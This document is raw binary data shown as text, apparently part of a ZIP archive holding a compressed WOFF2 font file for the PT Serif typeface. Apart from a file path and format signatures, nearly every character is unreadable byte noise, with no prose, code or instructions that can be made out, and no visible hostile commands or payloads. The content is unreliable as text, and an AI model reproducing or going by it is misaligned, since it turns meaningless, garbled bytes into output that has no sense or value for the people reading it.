J~BPdXM;B5A5!=BA5D594S-	 TcLQUiH[B$69NΙyǧ`!˿KF#G6;d4k?Q2Sg	.xFHm[q[Ral{zǗ/S>dz_^ی|1~@K@4N$4@QBxjZ?hy'+en>6`S(u;h<K4--GqvȡI e>:'_ustݠj{F!)'ѵb!*bn#8(>	Xt;ّM`50J='7žTeL]t4am	EeY}#GՌ5HYF6hIg3?JOo`۬Oaw6hVd*xijj6~>T)uf}f֪JZ6o/Sbx<' aVpE$>_=fw,+8v"LIp<U0بbWQ~T
vjX7?OGLƁ֢DKmB澻˝ @3҄;cX{3BRv.|@v0ţJ)L)w,w1X}<@i|h`}SC:o$>j+\F}{!M&-t1Yb^&c%D퍓3'=`Z.=nn'Q;CuIw7ȇi{Ǣ#f< 9jO?(+\ew-;/?CSkL)s?uS.D7yGP2Q.Q6_uyiS
C8hksnhМu_Wyg1g^7MP9p]I:r`5H/rҷpݕO~)Ғ0Ee#df	p!2;qvKK|dCUa%i<!t|VQCI9D5%HV0\Z0:k &͑|aPTKPu%Ѝ=kU]wnwK*;[Sg1ݥ8|?MzO9O1z.P)oyo9Z/]~C[VrAŭ]47QRqY9Ob=2wkqcNW3IG;Fǯ#ILw-iIЅy.}a'ۦMȇkäͨ:-
*~S14$QA^6҆dR˚,auyEixiITwcxt~JMG@,>RpS:!e;%<| ۹P >@o28:?˝!iNs,4zL"/wޤa+i??b?YӜ-erʴi.uxet}>Yeq
coτt6Ǡ@}NAFoC_xRc,/ZZ6ꭹD8NN>NCiztQ	5/}HwM͊c8bc;'3Bj 8IB՟E+p"AJi~ fi#eo/-4Ho|P>Gx[qRf`{?O.PGr!2#'*6 &	;^C¹Sd7Ś+O% ?D -	mh֟xg9 ϝQ}stmu7=94;rL|cGwdo3o*HUݻkMXh:xttd%}}	6Y@I6x(g=Wy\yWG<<xh1ӫ%
sudje紽]Dj
[0J9갧3#hk.n`A;/YD Is.ijyL@|Yc5|m&ZGCCs|7 <^Mn3?@HUݤɒۂ	:>R#|6Wj&{AD
H/X()Rq}Qu|PºH"h5u-LRc۠
` |} G@sk@7IK% QB*)@L,!NNl 4.Zb`YY-Ɓ	eG|ў^^Fhں3>Fj3Q8溨Q@r%k8|	8=>$
I
Sa2(r84_g >t'nc-ȁ(O!~ZHbAJ+PeVZ%}=𡩖ZoZ yD9b\yYx"?Zn<T! *zqi|JxٔlŽDA 0\x08pZ
]R9l_/t0&
xcܹh\+hVL'Gq9^ 2 $&A*`Bâ5{RFˀne0(GDl\<gf&.:xF/\?ӳѶ[>3V,DPIh 3بHVGp=병~ȔȄH"Z%@EwuA+@IKe,
ܖ"1C`Ǌ3<*AA3#C48P.`]8JLj{U| Sw,LM ԷDOINX[:buRgS)󙝡0!--<mjG]l"2|"qLvS!F5C"!L@aD9+:sNԞgN)/25ԑqBFS˹|Y풱RG	x0=6*[y(kJy-6'Ӕ|wL|!h=g|{Cx0h`HHv2?@߫LG(jW=qSxp/aa7L
G{גF
֟)+aX?&j{pZSfI@TvaH^Lf%x\g'TgNTG Q %F}j֎c 7h}>%EϨ  Hk'~#'Mht1̹$\_C\4z}|juxѶwF/ۂ 7SBBN2L)s灳VR:nVXLXAKTqj1QRa% !(laFmg0\*Ѿ5jztW`M@jٙ1ɋ ų-`u(A}T$ުscl4a]W"#Uh_0ڨ6<[!Fȯ}-#Jaaadnex0BgyyG{Dڋ.<|%c\5&i8{]zxzxw<%')EܲZQb-/K@C`	EgAg\I\!M]-DIJs
ReO}Zo*%[3:K$fyol6.ؔOl4Ogr2@q a>haq3nꔬvi+"Nce"8#AtT0
8I$~,Qr"fy]#́1\,~ͱ-&C~цa{\l;B
]IK,[z:4˨'fAb\p1U|MGD?\fIA*P
˛1QHsvr֖8J䢆{IApbx"m=nk+3@1k{, 8P=TleF_P14⒀ZELA.Ƨ`_FKn>a:zI%VD{Opy~>[ٟқiuMUD &ၣ|sHtK++l8N'h&v?Bc6f7-̭qOnk"XgdF^ @	4dE#9 x5r"<Ez?J$k.M[ӬߙSE6Ň^ḿ4gcP|J^rݬ=<
ODh!ѽ=(XB|N0SKK4{V a0 U&XbAع87iL&ute'{;W̵$ ew0V@@H\;_;8:d+|up4?Yyxu;g]Э"%*{A5Gk:\G¢NOl4cr1w_@	r:(,-L"CidN1	N4	x&S8GLcmӅiީT1!rsCIX	3{i'ZUp3l d-*XpB⟖^Yn9a*y:0ߓF+OZ/p;bG.<h `\.~X|ߤAP'fԁ(`zjˈ[}c~2Gg\$rP>ܟ 2/YNXϮ;J	I4$[%v	~-\|!}ywJe~`ԮiI[E92LeЌm9ÚGA57,jFhqVH׳xL5O9m:~~a2}ۣ|Z]BM(G9)j!dݝ@!vw<?ZҾةIrv΁}.@SkLJS ,GfŲ='6K6~srL{:r9|4\44>DenOq>Mʨ>}shl6wwؤ~J*9>l1?fQ;E(!Zʠ-)-A5<wT4ADbM#Dp$r/cWIK˂2JDĿ	f5tqpx8PcޭB?NB$"D3#̫_fl526"G~6U pjP.kYaPU7s9'Y&
p&.0>;W@MuPYLq'~˘p{٤-.ߎJ޻ֲ1 yc1ρ-W}L"Ge7mgdDop:&Cjza<FB=^0!L[.5zs(dXyb{ln+"C!h[zD	&wZmnN^z"NpiWeտY0.PdTgbP[y]6nL{M"c٨ۃUᛨAJV	Q|AM2AiNF_	:vGqe$ݡmCu	DFPPsY,̀M߮?zzؙ8c_^uXsuy9~qr-lL'O0(.&UcU|5\+#-Ae9qJyK0L-?tiHJdl-n[D5RCҵjj4XD6.pZ]6Y̯6QVZIl ^oDÛh]8+E8)9+	T}%<C	?=.KqOBF4lt*(s|9"e7|,˹rҲ9]umIvrS [##/uMd)<U@lˎ ؉m9B&71N*r>Oۉz]
<-#?
yM9U;pq6Θh@D=rY.&	wNPJ
ل1!e%r@t?#6ax]ˑ|L:7]";)2;y	^h$Щmc*~b27?]Iq\%t|a^JR$y0LWQ7Ul^b\ lA[xE+eSC.ǦSCKz&(>L!8qKdؔ<<C2`5BV'83pc:uU}\#G /]<>yЎjg<?){ԛF{HX<`qJfK>lO9c	8X븕'8}y#O	t*0ί
UGrp|,k<IgY"ѝ.đWn"E}P(.괭7ZIj0rC$pC6AM`M>5xf|$D#>1g7h>~ u*㠮ջ6aWyeہϋ'FMTS̹vc#`x]'"idAlW!!4_JBRH%s>Kӗ4",9dW?R/RܝS_\%<A[ANR'L3愐${9|IV_bgoYǊWQH~B OM^[f*+BwC73-{#Yn>j9iG|NU7yeHjذǣMgCe1>y$Ղ]9c&c-{k}/+o{cCk}C~?zpiyqP< #?חK11ߠ7[6-ő,B$z0ظerZËy5*##㌁</Y"v|U`15}qXg3Ads3QXXRX&i27_rMwi1m`j]TBb|BwPEjdgF
rZJXRe&O^%U!s?e~}j"G8(due<hl 2+0RJˀQV[ki@1lv%R=4ko׻]u/hϚ-l:GuuJUhNZq4$HɒU?)\sWµ'v&~c=ykŀ{^24{ZI<J)b%˥S:׎wT5&ƨ-quo'Yw.=ظ-?>yc*Ex>Xy_OQ`.K2O<`^Ӂ{Y gҵl oJ]bsFK\A~KA@.K|8vymk4*Wȅ},OWmM|~\\$֜~@WC{m0MFzaCYF]6.Q)u,^!s1/@c9A60Q\??#wJٟKG=v#Ϩ<O\rŒףL_@&}_Fy}ʍKj[G)o];s(%`FxܙPVDZF
ƺݏsaD䧗%}0jz?-sSWS
BPUJxMARWjRֱvMyվՏ)M!f6DY%Px,[]5M~矑xs&E bfA ۴cQ^
b7ȉ#]=qWUk+l=_WIOP4ķ_KN8<צUvSZnIհϹY\I#RuU:TFFOL6=EɨQC<I 6_=^/Y4IĖIlC-(-y}&s⪄!bkSgX	uzeE?{ϖd K;D$hͻrƱk(l`j
i/8lFG>FlѳB(B{0#0'\{Ýۤ("Zod*Lsi{ҫZu;D?ƾx ;!Q3r1iJ\v!H:"hm uu-_U4KĝAY/6߼""iy2SQ7X*ߛn3{u,o"T6QfU3zrA(]}L"&9ňMJ!tFHvy&;;xr>ڔ.-"loT?@sႛoѻ>bыEhAkd(5$ ~9V)A
!v	$E$534|~VN)Pڴ6`yͱ2*EA)@)nmd%^\#%J|O)*WҨ=Y1΂òXz!0f"_eҺBwTLsӖ' (Y {촽U
$'BY	䈪SyQ$VzagX{Ku]
FmhtE
F?*ȃD$"j"ԻVǷ8ŋښxyBqηg.mz	]p(zc`,.>k߿kaK(wOuj_S|Mh}Ӻ5([<#X>ϐ5%"ዯ{,.\;\iKɰ%/U%~rʝ*
J)
׾J?ߎIs#'w/*d;؛R
sKuqBGL_#B[#*w7AwkyMŇ%<puUp!B7ڇs8id,baZŹrdalT7Xєl-[(ľKvݭ|,dmGj	T=ix7NZ^"T7H0Ar#67]謍Uʖ9 c֍~lʛgLsJ`!)L?ێgX4DD{ܝG(y3_e%8#|wj{+}`u8><^EQ:v&&p	gzYWeDr
q[*C4KxBg]%|'$=Y$%d#.%5xy3W˱J!|@13b4-Umr&Kbtd^0"m~v1	(Zj12xKp\>9ŲmrUo(G>Odo]&f_|6W"uMvb|8	8$Um]&twaxl!T/NIAe}3IhrME2lXs~]OTHlnc,THw7w?^}CgdհWǒ

~d]'s/]oėmk.>f7`շ_,<b|K&6XNbWc|->V#?M6p$n5 z~Y}P4&W]^zlƼK? e*YIKf*L=xB޻Z'-n?&+Lo'S]m-)ycwj|{]!颛)^C\4$魌pe5:lKuo	{FQA)F2GL:o.((	sP}9(ojj^?"[~|h/+|Y@#vKlt4tfzv``eu3N,?0nɼn**.e+Ϲ|DQOiAJ"(CXX~q#b۶FCn*C\GHί\"{HŁ.CZ%R+F&,a\]NnVU_y,os>"|Gak$hbt0l0ozoÏ|XTN,a7ե[au"[/4VP􆘚C8a !chu:5Ӯ|ׄ`-tZ$ %]d޵ 4-`/&mg n5⪊)
ٴv,`W[VXa ~Z߬zk4WHWdDTdk>qJ<Ra158FԸvq̶sv1y^	Tg**)?ɬrblS.lݕ/V}"} $*hnOw\:_kIT
/v`b^Cx@|q3حy{{mt,ި&#MQff'ņa6IIMCWt{k/qp)nO>"B*ԲaE+z8!,JiaQ yaP!H,
t&IvإTBC:V\8ǠDYM>Z?$7O?XOr\+~@Cz?ΰ;l4$Ԡ`;R!zzEx2-<e!Zi~o*WnЛjrٟrrRVko?:꾕X6^-PsFzyX>&jh\vnBcU<]hPÚQzrJLl$^<OCVO;ܫX}&)|F	alT&΁Mo^*=W/Lj赨"viS('ʈ|'aمb!*iqNUsRB84AǆmD!S|,58'$GD5iywiHpIbZ~eѣWG&ƹ732#b}_ʘZu@T:H&3E.//~P<KFۤjzf.|+RW -*ل_*Ҝ5.2Ɯ~m{$gh'x&l}g@[FφAq%F\P{^j۟0we .,䒭FU9Dd60B8sH[(=x7ۇzg0 oM3 ))Ql΂c֝o`_2'^ϻ;F	?/O_ 'DY
<;5փw)/agMWc%.@nz]s8AGMH' 6T.^ЫA|M9p	/ygSa݌ޠWQ~\̄FFvx R3OFuQ+ƮAn0?J"Pn#rBR_f-Ye4
%6|@Hyh6 #E;?ias礚oC;	t` `r</C|TdE"=?"iدImKuҫ>aQb e=:FU%_ tC
ȲG!0V8: t|v(q_J^:>j7HM#|kQ0iʪ:	˚2$2O i JzЗPqe%7se9-_"~)*tם50M,@^E^ŌP1ǵC{B&1ҤmlQmm+h9ѭOPA6SUb#^TnA5]޽f>өd<NuL'G.iV(r3^F29A"ZLEYKlBexwG@7N`6lwN$;9Jj,kEXMJW.^XEL$3QBc3g8>Mw6ۭS<h*1!jQe[#=2f08-MUzTn쵾gce\nwI<Hr^#7FxzBYToIfF_fv@aO-u^}}?\'u/D%(vkxl#\7ɲ&T]h4VH=-0$mjps齐׼RZYhHU3לCLsX*0r3]5x?DC buYV%H3{b $TFG3z)!(	KP)?J	\8hDe`w5ۆa1L΅
xRzэ\4[2RP]J M<F	L/<}aK1KЛ VN`3,DO"@w@[i2
od۲cWY}:y(14͸h(NA(#,sE
/imWbMSRwZJů>Eg	8EYռUphU5e	C:ʖĺbA H9lqyT=D lBsxd˔KR^JײQIu'Lر`Z4yfC/eIِrK~nچu[Q Elfu#@d!6_=Z=\4l9Q;a].ʬRYm<JQ~_'Z$gEՂh&ب5;XoWQnX/}GLm56Ɵ3It;.4p
؃LVR`jkSemBVg`_x[{qR
Y9թxvO=d<J'z߯ԊWL+GΫ|4=oyd0/.ztH%=1nd.;x}؆@mnlѪդ.REjTZ, T[H䑬*j v")&5M[!t-z	bJ#M鲢6nvtq;DbPGd+1>yI,K]f9?K`ˀUOp'VSO\]j+dPM<2ߗH	v
p)7Жnԑ OL{kҭ6q2?A°`mضg9T0|! HV&K CA>V.x#N(NbZul*N;vJEtH)-J\a$bPzgt`* zބ|!A{]DZz6o=%uԀ`*GrL
m3gO^r*JC9} W=Ғ
ФpdnȰONt'Xf`.MY &Wϝ$aؑYTQO6mN`>u69,t͡?jlƍp_B^Y72(Lչp#HgtZ,ea53lm9R1$ANiHeqyfdC΍LAr'qC&Vq~>3)֮n}WgN$QaN *@ɠ<3N2AdSfQ448<TyL"?.~9l̆܉.+.DnL$=3ܴx% etK
N;)4usKñ5M#Ugy
J MmE* $$]rÜ-e
PLOe@	?.]gd\<ٗϻn;z0,V4eɠ5E6^[;᜷轅Y0Y=GMI8:Dꗚtia<[
XT2/!
d{)'N'{LmȟOg1~9ST>|?X<-%De~"}6@P׳~I>2:Gɤ!Q)v{``7 ۗ`hr1UpyJi~|>+}>}>#8J`	q(LV=*	evi8'	{z4tg,L\":?g]k4)xk['=Z/nw=Fşk|Z\!)[ȃp6dcEw
zѕ"FxxxwyCG/
!lWS፼pJxu+?MgW{^.᯽ubNPzuD^[g`_%%KI (~g5#YY!$h&ո2,hŅq_b屧!/ >Ez*)dh dwEia5O
yiJ/y`QD|TN**+$!JMeK:|V6Aݨ=$34Z&=ȏ`lĿ`".®^[՝چj>giA?zx[~Y~1(sۨq!܆+Y8t$` `j,;Uv_`~vG 0~ph!v0ajO":ZSJF\۫^$bPbse^.;_.*}Yhbsϕ)W%/qsYnTS0;weQQzkd1>$FtFɓ_GJSzީy[VSZ%:WXS()s]{io0<|D"E&.qDzF&fV6i98ebtYnU-1LHGa.O YJerReejuzξOxd]\ܽx7<a1O !PD`q2菶Id
Fwpy|P$HerRhuzdXm]\=<}|#;u)#(~e'R
p-8R(!$v~Ii2]O>2vo.Y,a?eܔe|KE>Q",B+
xvЕ˹QU t;ĴHǸ׊/@[7֭,i6u]س4wttF*1irY*rѨm%a@֘-D<ˇEbmRD`"h6SA_?-{W3pxSl\5H%bT.K#!I2
q4tq+#BxJZ:zؘqQ|$%nVI)ihI/A6&c !$9<@IwjJ+c"VV'jH5٨
%hSA9k8o䱜^tEG|ΓJA	!;Jv,JB.rW|uHt֦qFE`<O{r "i
 3䮦ԡF\8pSG /#N(G8x"  PK     N\Gj  j  4  fonts/ptserif/EJRQQgYoZZY2vCFuvAFT9gaQZyTfoPNB.woff2nu [        wOF2     j     <  jz                       2` 4	
4^ h6$8 l
pvA 5&xpd3yHn^RC"iQPu?dx(pVh*QPjCZC0a)aZZ%([~=qp7чMl֎j7QnwA,5Un(DsBηj|[R/%̅"%ėL_k=F$ٝEnGbO{d.f,3vf|=Y2kJʱ95NHkQg5
cV+6UQ9#0Q0ƪ/07;9r0@"O87c2]uұ/p]oi/:gb.퓖v0(ӷ{-BVhz/z5
!	k;|l񈜾M?%LhYW]C#F[)I/`4lHz*U I=L{WZGaRXjw琰cЀ@ؖ"083~c*UN9-g;G#cW('v۬AT41b/;nFNK"ʒSx$	x<$r?_wB=H@ v̛/xhTSN~|%og/3At};*LVkktk lPDEjW0	4jz֩3NA~	M2Jue
D-lq@
v=GkmfK`ӉyUKF8NR.y'e| }*H&)SQR8]iJiۍ18z%d2љx޵1!5Ei-+r;G$+l꿾8בm/jESKԥXn`Ǳfu,$ܲfػ KL}:\4DIyelP}a$Xn 2@SkQ *x~cO>v -IQ >%<VI"L$`1\Z@ľX-(P5PXccGE"d|BXU7V:.'1~eԌV'Z{Cj}}e4˙lwЍݵZO)Ot4#Qx7E|%8,ūL%0U|]?)jőǝzC 'ZNZf! BYz~
oDr~Ψ$ݳ"|0ҵx`\#ryuJ[?պ}kljgMJj>>zzOI/"eb;/ʺiaz?_>"(WH3haڎE4/?iӺ9k+6EWQ3fzzl?˟=&5RIAUcF Ze0kY²- [{`?ermG;e;թTը4QNh@2ToDMgG.A\i50N`jw_"-[9f#HښSN/=9 1Yo:^q#4YD*~&?Σ?dNG,!Ur4/"^lgn|@1Xnt-_n3=>"@o-mWC	sǮqr?~L17ic83O>>}*kVXdڄo?>\uVJ+s,Uf [{ǯt3P~<5"s/>u(vp3p[CI=am/ۡVRU} ޙ6Wm.4:10&FetmD+gVg
v0zw͊wA6}߲9"9y ڵv)ibx׽Ts#n^Z18L*<6gʂvQ",FF1qBn7^Gέ^V>Āa#os!;MЂ/~l](O=6ҞڶuR}Q;nFue=&u˶ӝuVȓӢ,ڼ\?~+Qw*i3jf̶4Y.f1TN;<{ȚrwU\eۦcŉu{ٜŸy~=Vwq^oǱetD7lTeRh/Ոf<
緫q|n?|)^+/hb$ӸJ
fH`844`˕A;DV - 	fB4x:T,RH~kAor.׉XdoYL.> C ŉV ~XϘQdF-YHշaA%B㻥=cf ԧcIk (d75pX,AN}	~ث3 \I(?tp(|dl(2W|V,ש<S?.J"<EF*;ӫRYf" i\|c|21XC+;bۨҺ?&db%?l&ŝ\mZQ
"5+Km1&*P'xC. #J96|[$gCni7a	~SBd.d Sۜ"v&yFm/IfǭAM[匨&+E
3^ 1T	<?03$@w:
6{e@ٛs#`dN'N,I2⦇bϟ3>~\t75+Tj2.sR#bm=]&iH?+`*̽	,O7RЦ	P5X¨%z֌a/X,n7LWD9R8nŊG2mq˘1\}H'h:~Ezm:l#[1<ֲeQZzkG-G,y١P0υ$w[) ΛPE;8>[q{QPxv
J})$ʋ\St4jj+TRn<;XBQ7Qh^ijLQ$hgɦU+Ǟ 
L9dǼlWQI^vGMNPݬ:r
UEL7v倻p)}@d$( "'Ҩh^1(	C[ٛQRG P)oL`)m&i"ƍZ~:8mMq%_[GL~z%*us[zOML)wxmC޹0nEQuiЀ8|px29p`ؗ}Ɨ Slq<aP7~}#pԴ5Νy*V:
K%d	$A]ouw/E~w"-d`wq9+jEr[0HN:Ax&RA6>.i84=T)vkhX@`oG
!dx<yd@%@E1+K*dd~
#!Uc\pm0eu`R/VNjኙ15:K "
RQ=?D,P&.UĜ8jO&V:pvqd;x|A2%U_B6	dV*.Pnj\l4؀]~"#pkef*59UN&77Т\uyjqN@{E^5@LUUhZ6Ngd+KhS2BJ Ѽ12\X4/N<ڃoΕha}"־a9aw`@ |Rr
MZxlG2.Pn`!!ZBGfNoft_$M[+j66/SRxt&5b)-m+j_ONe(eޅ`_XC8\TvSs<v'{QX$.r0'+Ke3MYjXɢO'u#V"2!韶+80PD$*BcF`=4QoB)lKldؿau%.P{c"VM7ߏLGh3Q6O[A oQ?}Y];whYel3ȥdW۴='
S|l^_ۣ.S#?q{-{Ζmn\Za*jó'2Jxbd49TPe'9,za6X)3b,XKX>T[+ez$<0ub:a}ؑQ+"h&
.hLpj:dm2j6׳ dq1bE1f%@i 4@cEdVKl"EQ!Aۡ.Jj9E-0mQoi&'ItK kwB UBrvrasUv:if1Tmyr)z+67Ubb*O6tî2ܩf<SNT-S@OϠBea8a0%:bXpλlEQ"cKފ^ed#yj«pFWHT5$"@ڮ aWǇrK$rM*[j;ANimΈ(zYGb hr1JvŢ56cLb+QLbq&Uר.scoxIr#ఆ
\~ܑH®k<-MXZ(k]Dd([bR:2x>hԊisz:SS<r$y:/˻7,*J Qt>{jZ97[D;j)/V n@`q7fY\QDq3`B7޿WN!$۬W175XD
[]J]7-Y8<2ARE[:VwӎN/Lɵ_T`t' C+GII]Yd\Y";Q&t*ӇALXYΈguʪܕyRHR3lEIv@O!C8-onBe/GBVL=s%+*$?lrb,dªL.]t8!?,+>rή~| Q92YsdR]Ԭ|TitvBRB?YB{&T8Z;r-3x|׎
csJRm:^JbTkT"ZG=uaҎgòodQx`Pa\!gST]BTldxcTks^\٦Z!<<tLP+r,wP}ݦbQy7uu< vmMrC2l	ԦG_4
-RM\UDcUWODNR6</7ao|5PWk_oX hrtI$pb5jI`Ŕ'h!}M~(eG23oFf,qs=n-0DjUd:12nw
Fݲ0㠉U;˻._~{MzbXniqQ,Si)2CwbDRZ&YVD9ޔ%TK@H<.vMvТ8wpiM$Kk'yւGDo)MB3YGS#켐j q51tcۿ\i
l	-&Vn~Cl-,I	~Un̬b"޸MԤqpOß򻾓T= !~f0+qp6&Xj	|Ҽ3Wom"iےw+ڛܱFJk86Nޒ,⭺nSds>ధ*`qO H#2iѕ">6H3ߎ?⤺ߛ^Үzv~R:y u/HU>ڗ1{zw6qhQmfESo?o!97NI}\%2D- ĩ_Bgf,RZ&i1{Kn^HϲΡ֯o ?jC'*\_G?/l!J̜@W$f)$TWv;`{jA:EDSbn\d^v8ě;ަRL
H Hgy8jJRcLH 6U@}<u,r2]7}r-?BTqCEg$B7ǭ;>0|Y^l s嬒ߕRu|J漖#d(6[E6ђK d~#&U7nƲýqo/5.*Guc9@ZV18MkwhvO!Qo&	ט{2BjjVi6b~%T!~t$k2ɫ`7$e%
Umܳ^g9B@sܷ<q:Ix?h{+X6S1ɓNU#dJ/z;0~aхqQU$b}ԩgƤC6:GA/KP ޚ.HJ{L!I2Ȭ\ÆtZ@^ېlPmXXWp
Ϧne^yo/_p86VM7Ker>~һApԕԭoIAT!R3B
ANgG/Odi^ֶbݦ	痉)>q|?Q$)U(FDt, R8D׋μZf1Y]<w°[oѺ{ʖ=#/[uaFV?tG1kY'XZnECr~R/f_}>UsRu+:$gl8\c>Ml&>/u;};
}tD3I={D`pr33e4"%ۀǼJ4C8Liܒ	r^ h3I\h+}z$ @T`=RTq	y^5] 꿸7T?*;`{ۙ1H R	u:5:T턁kgTղ2\#	30VL5=:qy
^aK!2`&4Yr3/+ߏ5ڎB	Hza8p浃2hk0@wNѝa	l̿k>Vrj^0 !sCiR:ԱgRh;Y@PP+{(fٲ tS[,/vt{բumފ܀n#ڏX'Y)Nfd{Rw=]Ow	5Gԭ8? Q,R`^$G2piNhï_NSEDﻧ5/9b=WO``)t.KD(M+fXD.N'sqΧRQvZM횁4NW|*{x7)>#i/vEżhk@m`E;W3/ 7VϾ7Sp7 M۲,Y BP!f_;.{ʺ{keD|&X*Zs{}/`4V=u5t6'Cfӽ0ǈZ"Șۗ(C)=]GʂfV`7u< 1J-d,*dM럋Ֆ;貳>=5Cڢf?#s]dJԀW+MU nTq2{'v3d[5B4Np^/]Dnz\~P0$(0D8亰^zS^(*Bj66"ףiQY9KVaV2dсJfě{L` `.2\~L-TЬ/')3
{]6!K@ĜkBJ%6 HU~$A>m.҃@c'Js3Z."&@(߾>q9S'/X	e#'FhǞ::u]
*U7B רy^LBl's H-*s_(p*G]\K" 8?ʾ݇
a@ΚՑ{3%$uK>x^mh[^7mF" +Wk)x>}^obٓk%m7M6C^`ƶrݿ[Kόx,*]T7Q׽};8/%9/!𣄴ւ@T3-UG(W]wIq՜4`KdER76p!q*]i̬xFgSʜX(C9)'gLZ}uJ 4sϢ+DlzWT)9Y/:E616gWg8Ta9fEsfZ8Ni0@FnWF蚲fX\{R>[Hse|w(qV*^ Ӑ3X@mDvE9[?EA$<7:Fq[&W誰(rx"B|qޗrH2]Q;b5䧘R<6=:V.2ЊBKg@N|Jɚ`FᴎB֖8A<(k^tv,pi
w%?=av(atd\{ʕ_#I۶-p}!/(J2duzOr*-4,ёm/)ׁj}1%{2쿫@ ̡bL M"ǅB|k<z!QB9"ѽiܜdШKܛ+0ԭ^*ޒMAP%!gm-3'/Fjw` CZK/\cM:39z KמDhh@V+"%g6>u4M[?GW*Ln\Zx}s_9z6S6z뱬 Рd-i0ksκbC4Ye* zQk>{>f2~[)C7n)C	To4͆xٗݾPJ3EԔkr5P/C6
&
4c<Fp`Es&LKr9&w,[[qw)[(rnr>m31lh;{ޒOT;}yT2Ye/1ps!ֆk{a~QSrq$ j|U3Cqs!1;wirj~Q?gNChj6֬P6{*gJS~Hܥ?hTn^ULXn+p$'/tfRR]TJH;8ڔJk^&_Z pJ[LE$)1)z!ac"S,^u'c.2CĹvϖcNo˦C|Bٿ?3mg'VmơԲ3~ZA|z!i*|1ED_:VP8!gAavl$7n#^Rطp4-vi.
\a'q_Vf?Q8&k֬oegFe8>xX.VÐ[Fn]UJr^[N2:Q2 *iqp_dǅdn[Y|s9 svR94"gx}om8kTmKj;y&u߼Y+𷱛(.y<c}t*{I	z96oc*%3$WN[%>W>0tNZ)2/MBnv=϶vzַ,r't7tFj"[3eijFFYUD1ܭvZYcDV<1b,jF{_JCc{)n-RU362{3?_JCtًSio{jC&gCL[#2]Zϙb8Ց''MaXRu+Lz츉[3\|x0//jɔTa4BU4Luט{ˀÑ4F%.mRj+NFrb-',EU=M=O&<o5gSiD/H:'EdK{O-Iӌ*>>x[!f;Xk9pI SQOs`F^zx9CM,hzB-Ǟ=AI4$ Yz~yڛ7sO.&=~tGizc"tqiJ$$f uxm06g6WɳϷ?vbԨZ=B~;+;I<>3G[4]5ϊ଻C\Iz4[C|~j#Eq{ptSMA7M9}Hf6j|x;~!UO2V'EviSo/A2XM٦!.u'3bPZhh.|/^F[LKL` 7w`$1ock5QϺF<(sRlȇKSYe(JKM{840~?k-WGIOY&8{^S%DhZ5)Xa4`([I8?"`9e>PIC_Mn>&JRϷ4}bqySΐb۝m5bC(Wz1`*h˙F*?Z~Zέy婈S Xl</gfH⨚RjF4e]|q`蜧!+:t/e1@#`	=ؗ|Vr'7
Sŀإ4(M)"0yYҨ4O~V9f
!MV~~S"Mg*8h;,:vt1X7/WX{\&@20vKS]b@~86vO۲f`hlr
1p)Q`&3AMgAOӶф7IwMzj֠tmtqohV~韶ulde4uŕ7'K'\w+. O';*
=
7Iw}qm|}5/[+7S_eT|ݑ4a 9;5uL"FʕZaAJl6E+ܶ>4+ino˨b=WiLaOm4QO:A\e_&`i,922bdBwP{PTWACO`2`~ωSRQ?Hx'GRq)k׃Cɀӄt:Sŀ71`X[5ݭ[xܤkQ	ߍnPNB`h9sN0IwO׬䲲-*"Bz8>Lښfs8Nl%Y6" 6,P(+9ypt'd bhq&U|(} B,4q`8xMJy;'ȡh MlSNy8Ftt^rG	`P!$یFhNeqQLb4}#p.wFTF#M"$æ&\z/AP!kPFJs(	s$
Jp^ P,z^rRKx	uύ} ^KJ)EDL):5<i3l&!YGpK< (Z^2)4.Ds{ƇD-<BZBطĭrwyVHo뤐A4È20ڛ=@DpR1.PM<QqlU!Rjxf*
*u*$
&L}xiR`P]A$y*Ym$<,2iȇvD+|	"dViiRӝ>,FfYؕ2G	D&#T5*"Xy[XR5/)Yq#8^1Rpjeeّ<ңtB֎!O@zWָu"*!3Bf=D1pȪ0G4BRX+i 7¢ݛe,44cʕZ0)SA	k	M8Ze[p*_B;l+L2t#V:/za8Əiē/5hd4ZΔS:lo9I)	dQE!WFP]仱0d-]UE_:vY:5Wc/HltG$ 2e10{F 0@}X^ +kw9l&f8*q5Sb,mBYXeLEKo˞A vSt&oyvA>F-xbjWϵ1<H7Jdͅ6o@#<U}E/9~!PI%@@8u:N,w!0բ4U:[+YFߪ^),fr{\EMHU^,m:m*<[&YOiDYf@tPE]Unf?J5-p;_	0_㖌s"4ZtX{'
ϸ ;~})kwٰ,k_MUv|Ň/ *)'J}jvks 1/~hu'5>@H]=	DɰL:qO,fr4W D٭'\R↩pXn?yr0ZD&3,{*QafQBX7E/`+[DtC5[}lf$<XСK(ʣ
i-l"+E2)$Sv}IaPiҪzc̾08Z>L^ؕ|G{n#X^MD.-!{_"̞&=j6@nebPT'PJLe	ZP@V1};>fdid<X9>W!}:nI]RsFIsǩ"~#PwZ18^9v^18(!/|Zn4[fvOdOo] >%:L9߅i6<"Q~3%L%	IAr{[)⾤c{USRX0WHТ̰/"YȢHL>辿7=5Г{7]q݅C'7?(=ixn!/k^ߥ>)O1%o`1mKtdnܰ.|>v?:_w&fw|@3h|j3{xpW#D?pz#߃ƟvIB.S~""O97=)x*;w(Y*n4TLߜB./Ei|x6
i2 4]g(	ɚxLh<@Ξ_?ȧ$o}eW;<1DnPe4[BfK5*dǤ|A >AG-aW Mj\>1j|CM1k6CE>t"e6s`75Xzun&hC{TS|D.FoN;ʆis;W4;򕪸_Z2Yi~VLE.ydD(VdJk	|{$ڒѻ/aמ#;ViH6MTy6ٰ-@9FӃݺ U/׃siEsĉ(SPz]5	|vSz%,lk<2CjWu$_oK?WQ??
wo6? /`f@1gEjJ+8DZgQyKm{?^>dlOu6*)9C]ld+\1Hb8RK#AzZF=>xov5MHz^':vpS2;Q]nĽupf*>\A1̂X#s{;d;{]V($C9YRt}6zoabHO+^,CԼ۞=R?=znqQRaUdsHY d.qnp}=e$4#"R51/S%]iR<8/ 7{FVA0lSc0OޑKB) ,s0Jy-.CGShQ7l<g{
Q&6.'-aW|Z4轡G8K\B[bVZ[-nU/Vd[-Yl T3N H!ԧ'cߵXX"[}?QXO1tbEyO,XP@`L{zU9N/	n'i2g3&[
